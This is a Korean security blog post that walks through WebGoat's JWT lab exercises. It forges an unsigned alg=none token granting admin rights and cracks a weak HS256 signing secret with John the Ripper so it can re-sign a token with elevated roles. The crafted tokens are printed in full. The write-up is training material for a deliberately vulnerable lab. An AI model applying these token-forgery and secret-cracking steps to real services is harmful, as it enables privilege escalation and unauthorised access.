Loading [MathJax]/jax/output/CommonHTML/jax.js
본문 바로가기
Security/security, hackering

[Security 정보보안] JWT 토큰

by tankwoong 2023. 8. 23.
반응형

이번 글에서는 JWT토큰에 대한 실습을 해보겠습니다.

JWT토큰의 개요

JWT 토큰에서 서명Signature은 토큰의 무결성을 검증하는 역할을 수행하는 부분인데 서명은 토큰의 내용이 변경되지 않았음을 확인하고, 해당 토큰이 신뢰할 수 있는지를 확인하기 위해 사용됩니다.

JWT는 페이로드Payload에 사용자 데이터와 같은 정보를 담고 있는데 이 페이로드는 JSON 형식으로 작성되어 있어서 누구나 읽을 수 있을 수 있습니다.

따라서 토큰의 내용을 바꾸는 시도가 있을 수 있습니다. 따라서 서명을 통해 이런 변조를 막으려고 합니다.

서명은 토큰의 헤더Header와 페이로드, 그리고 비밀 키를 이용하여 생성됩니다.

 



이 서명을 생성하는 과정은 토큰의 일부분으로 추가되며, 이 서명이 있으면 토큰이 변조되지 않았음을 확인할 수 있습니다.

토큰을 검증할 때, 서버는 저장된 비밀 키를 사용하여 토큰의 서명을 다시 생성하고, 저장된 서명과 생성한 서명을 비교합니다. 이 두 서명이 일치하면 토큰이 유효하다고 간주하고 처리하게 됩니다.

서명을 통해 JWT 토큰은 페이로드가 변경되지 않았으며, 토큰이 신뢰할 수 있는지 여부를 확인할 수 있습니다. 이를 통해 토큰을 사용한 인증이나 정보 교환 과정에서 보안을 강화할 수 있게 됩니다..

JWT토큰의 실습 WebGoat

목표는 다음과 같습니다. 받은 토큰을 변경하여 관리자 사용자로 바꾸고, 토큰을 변경한 후 관리자가 되어 투표를 재설정해 보세요

여기

여기서 4번을 클릭합니다. 어떤 것을 해도 상관 없지만 Sylvester를 클릭하고, 쓰레기 통을 눌러서 초기화 시키겠습니다.

Burpsuite에서 intercept is on을 켜고 JWT token을 확인합니다. 형식은 .으로 3부분으로 나눠져있습니다.

후에 설명하겠지만 alg=none으로 설정할 것이기 때문에  이 말은 곧 JWT 토큰에서 마지막 부분인  Signature 즉 토큰의 무결성을 검증하는 역할을 수행하는 부분을 안할 것이기 때문에 점 으로 구분한 3번째 줄은 날려줍니다.

정리한 후  두 줄을 Burpsuite의 Decoder로 가서 base-64방식으로 decode해줍니다.

 

그러면 위와 같은 형식으로 나타나는 것을 볼 수 있습니다.

{"alg":"none"}
{"iat":1693631200,"admin":"true","user":"admin"}

여기에서 alg를 none으로 즉 서명을 안하겠다., admin을 true로 user를 admin으로 사용자를 관리자 권한으로 바꾸고, 참으로 하겠다로 바꿔줍니다.

 

그리고 위와 같이 각각을 base-64로 인코딩 해줍니다.

eyJhbGciOiJub25lIn0=.eyJpYXQiOjE2OTM2MzEyMDAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJhZG1pbiJ9.

. 이때 각각 출력한 것 뒤에 .을 붙여주고 intercept로 잡은 부분에 붙여넣고 forward로 전송해줍니다.

그렇게 하면 아래와 같이 깔끔하게 지워지는 것을 확인 할 수 있습니다.

JWT Cracking의 실습 WebGoat

순서는 이렇게 진행된다. python을 다운 받고 jwt2jtr.py로 비밀키를 알아내고, 그 다음 알아낸 비밀키로 makesigOFJWT를 사용하여 마지막 시그니처를 받아올 것이다. 그리고 3개를 합친 값을 입력하면 된다. 결국 SECRET를 재조립하는 절차이다.

위와 같이 username을 WebGoat로 바꿔준다. 그런 후 아래의 값을 다시 base-64로 인코딩 하여 값을 구해준다. 

이것은 비밀키를 구한 후 붙여서 마지막 JWT 토큰을 완성 시킬 것이다.

{"alg":"HS256","typ":"JWT"}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg==.
{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"tom@webgoat.com","username":"WebGoat","Email":"tom@webgoat.com","Role":["Manager","Project Administrator"]}
eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ==.

이렇게 나올 것이다. 뒤에 .은 나중에 붙일 것이라서 미리 찍어준 것이다.

python의 경로에 가서 cmd를 켠 후 python jwt2jtr.py를 이용하여 john the ripper가 이해할 수 있는 방식으로 바꿔준다.

그리고 john the ripper 압축을 해제한 후에 txt파일을 하나 만들고 여기서 출력된 값을 적어준다.

이것을 일렬로 txt파일에 적어주는 것이다.

그럼 비밀키가 victory가 나오는 것을 볼 수 있다. 

이제 아까 전에 처음에 인코딩한 아래의 코드를 아래와 같이 바꿔준다.

{"alg":"HS256","typ":"JWT"}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg==.

{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"tom@webgoat.com","username":"WebGoat","Email":"tom@webgoat.com","Role":["Manager","Project Administrator"]}
eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ==.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg==.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ== victory

첫번째.두번째== victory이런 형식으로 만들고 복사한다.

파이썬을 이용해서 파이썬 경로에 가서 makeSigOfJWT.py 뒤에 방금 복사한 파일을 붙여넣는다. 그러면 마지막 시그니처 결과가 나올 것이다. 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg==.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ==.9DRxZbfsUGfU7SHMmWz3fNZsihK5UDNB1XGrOblve-g
#방금 전에 첫번째.두번째 == victroy에서 찾은 것을 이제 아래와 같이 바꿔준다.
#첫번째.두번째.세번째 이렇게 JWT token을 완성한다.

이렇게 나오면 정상으로 뜬 것이다. 2021년은 이미 지났으므로 어쩔 수 없지만 원리를 익히는 것이 중요하다.

정리해보겠다.

 

 

반응형